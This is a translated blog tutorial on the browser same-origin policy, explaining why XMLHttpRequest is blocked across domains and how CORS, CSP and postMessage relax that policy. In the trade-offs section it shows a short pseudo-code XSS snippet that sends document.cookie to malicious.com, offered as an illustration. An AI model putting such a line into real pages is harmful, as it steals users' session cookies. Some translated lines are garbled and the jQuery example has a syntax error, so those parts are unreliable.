This article has participated in the third “topic writing” track of the Denver Creators Training Camp. For details, check out: Digg Project | Creators Training Camp third is ongoing, “write” to make a personal impact.

preface

Cross-domain problems, I’m sure you’ve seen them in your work, and there are solutions to cross-domain problems, but today we’re not going to talk about cross-domain solutions, we’re going to talk about “Why can’t XMLHTTPRequest cross domains?” This problem, to think and practice. So let’s get started.

Use AJAX to call the interface

Let’s use the $. Ajax method wrapped in jQuery to request each interface and see how it compares.

Call the interface of the movie trailer site

<button>Click me to send a request</button>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script>
$("button").click(function () {
  $.ajax({
    url: "http://movie.ihaoze.cn/api/movie/hot".success: function (res) {
      console.log('res', res);
    },
    error() {
      console.log('Request error'); }}); });</script>
Copy the code

Call interface failed, console error:

Error message:

Access to the XMLHttpRequest at ‘movie. Ihaoze. Cn/API/movie/h… ‘From origin ‘http://127.0.0.1:5501’ has been blocked by CORS policy: No ‘Access-Control-Allow-Origin’ header is present on the requested resource.

Translation: through the CORS strategy has to prevent from the source “http://127.0.0.1:5501/” access “movie. Ihaoze. Cn/API/movie/h…” The response header returned does not have “access-Control-allow-Origin” on the requested resource.

Simply put, the request is blocked by the CORS policy.

The access-Control-Allow-Origin field does not appear in the response header returned by the request interface.

Invoke the interface provided by the CNode community

Only need to change the url in the above code to https://cnodejs.org/api/v1/topic/5433d5e4e737cbe96dcef312, for testing.

And you’ll notice that if you ask this interface, you’ll get the data, and the console will print the data.

Access-control-allow-origin = access-Control-allow-Origin = access-Control-allow-Origin = access-Control-allow-Origin

Access-control-allow-origin: * Access-Control-allow-origin: * Access-Control-allow-origin: * Access-Control-allow-origin: * Access-Control-allow-origin: *

Why request ‘movie. Ihaoze. Cn/API/movie/h… ‘and’ cnodejs.org/api/v1/topi… ‘Why are the requests for these two interfaces different?

Because the CNode community, through cross-Origin Resource Sharing (CORS for short), solves the cross-domain problem, so you can call the interface, you can get the corresponding data, and the movie trailer site interface, does not do this process, so the request interface failed.

Which brings us back to today’s topic, “Why doesn’t XMLHTTPRequest cross domains?”

Return to the chase

What is XMLHTTPRequest?

Notes on MDN documentation

The XMLHttpRequest (XHR) object is used to interact with the server. With XMLHttpRequest, you can request a specific URL to retrieve data without refreshing the page. This allows the web page to update parts of the page without affecting the user’s actions. XMLHttpRequest is widely used in AJAX programming.

In short, requests can be sent using XMLHttpRequest without a page refresh, but we usually use wrapped Ajax instead of sending requests directly with XMLHttpRequest, such as the $. Ajax method used above.

What is cross-domain?

When it comes to cross-domain, we have to talk about the same origin policy.

The same origin policy is a convention. It is the core and most basic security function of the browser. Without the same origin policy, the browser is vulnerable to XSS and CSRF attacks. Same-origin means that the protocol, domain name, and port are the same. Even if two different domain names point to the same IP address, they are not same-origin.

So for example, if you look at these two urls, are they the same URL?

https://time.geekbang.org/?category=1
https://time.geekbang.org/?category=0
Copy the code

Are homologous because they have the same protocol HTTPS, the same domain name time.geekbang.org, and the same port 443, so we say the two urls are homologous.

By default, browsers can access resources and manipulate the DOM between two identical sources. If two different sources want to access each other’s resources or manipulate the DOM, they are constrained by a basic set of security policies, which we call the same-origin policy.

Specifically, the same origin policy is mainly manifested in DOM, Web data and network.

The DOM level

The same origin policy restricts how JavaScript scripts from different sources can read and write to the current DOM object.

Let’s take an example to understand this

For example, on the front page of the nuggets, open the console, type the following line of code, and press Enter to open the author list page.

window.open('https://juejin.cn/recommendation/authors/recommended')
Copy the code

Then in the author list, type the following code, and press Enter to run

window.opener.document.body.style.display = 'none'
Copy the code

Display: None; display: none; display: none;

What we open on the nuggets front page is a different source page, for example: vue official website https://cn.vuejs.org/

window.open('https://cn.vuejs.org/')
Copy the code

Then type in the console on the vUE official website:

window.opener.document.body.style.display = 'none'
Copy the code

An error message appears:

Uncaught DOMException: Blocked a frame with origin “cn.vuejs.org” from accessing a cross-origin frame.

Why did that error occur? Since the Vue official website and the nuggets homepage are not homologous, there is no way for them to interoperate with the DOM.

Data level

The same-origin policy prevents sites from accessing data such as cookies, IndexDB, and LocalStorage of the current site.

Due to the same origin policy, we still cannot access the contents such as Cookie, IndexDB or LocalStorage in the first page through opener of the second page.

If you’re interested, if you’re curious, you can try it out for yourself. I won’t do the demo here.

network

The same origin policy restricts the sending of a site’s data to a site from a different source through, for example, XMLHttpRequest.

So that’s why XMLHTTPRequest doesn’t cross domains, right? Are you clear now?

Security and convenience trade-offs

Third party resources can be embedded in the page

The original browsers supported external references to resource files, but this created a lot of problems. Before in the development of the browser, one of the most common problems encountered is that the homepage content of the browser will be hijacked by some malicious programs. There are many ways of hijacking, among which the most common is that malicious programs insert malicious scripts into HTML files through various ways.

Such as: When you accidentally click a malicious link in a page, the malicious JavaScript code can read the page data and send it to the server. Sensitive data such as cookies, IndexDB and LoacalStorage may be sent to the server through XSS. Like this pseudo-code:

function onClick(){
    let url = `http://malicious.com?cookie = ${document.cookie}`
    open(url)
}
onClick()
Copy the code

This is a very typical XSS attack.

To address XSS attacks, a content security policy, called CSP, has been introduced in browsers.

The core idea of CSP is to let the server decide what resources the browser can load and whether the browser can execute inline JavaScript code. For more information, see the Content Security Policy Tutorial

Cross-domain resource sharing and cross-document messaging mechanisms

Cross-domain resource sharing (CORS), which enables cross-domain access control and secure cross-domain data transfer. For more information, see Ruan Yifeng’s weblog: Cross-domain Resource Sharing CORS details

The cross-document messaging mechanism allows communication with the DOM of different sources through the JavaScript interface of window.postMessage.

reference

  • Same-origin Policy: Why can’t XMLHTTPREQUEST request resources across domains?
  • 32 | cognate strategies: why can’t the XMLHttpRequest cross-domain request resources?
  • Browser Principles 31 # Same-origin Policy: Why can’t XMLHttpRequest request resources across domains?

Wrote last

The same origin policy isolates DOM, page data, and network traffic from different sources to secure Web pages.

The same origin policy is a security policy provided by the Web at DOM, Web data and network levels to ensure privacy and data security in the use of the Web. But too strict a security policy takes the flexibility out of Web development and use, so we have to give up some security to achieve a balance of security and flexibility.

  1. Pages are allowed to reference third-party resources. In order to solve the risk of embedding third-party resources, the most typical one is XSS attack. The browser introduces content security policy, namely [CSP], in which the server decides which third-party resources can be loaded.
  2. In Web pages, we often need to send cross-domain requests through XMLHttpRequest or Ajax, and the same origin policy prevents us from making the requests. Therefore, browsers have introduced cross-domain resource sharing policies on top of this strict policy to make it safe for cross-domain operations.
  3. The DOM of two different sources cannot be manipulated with each other, so cross-document messaging is implemented in browsers to allow them to communicate more securely.

If there are any mistakes in this article, please correct them in the comments section. If this article helped you or you liked it, please like it and follow it.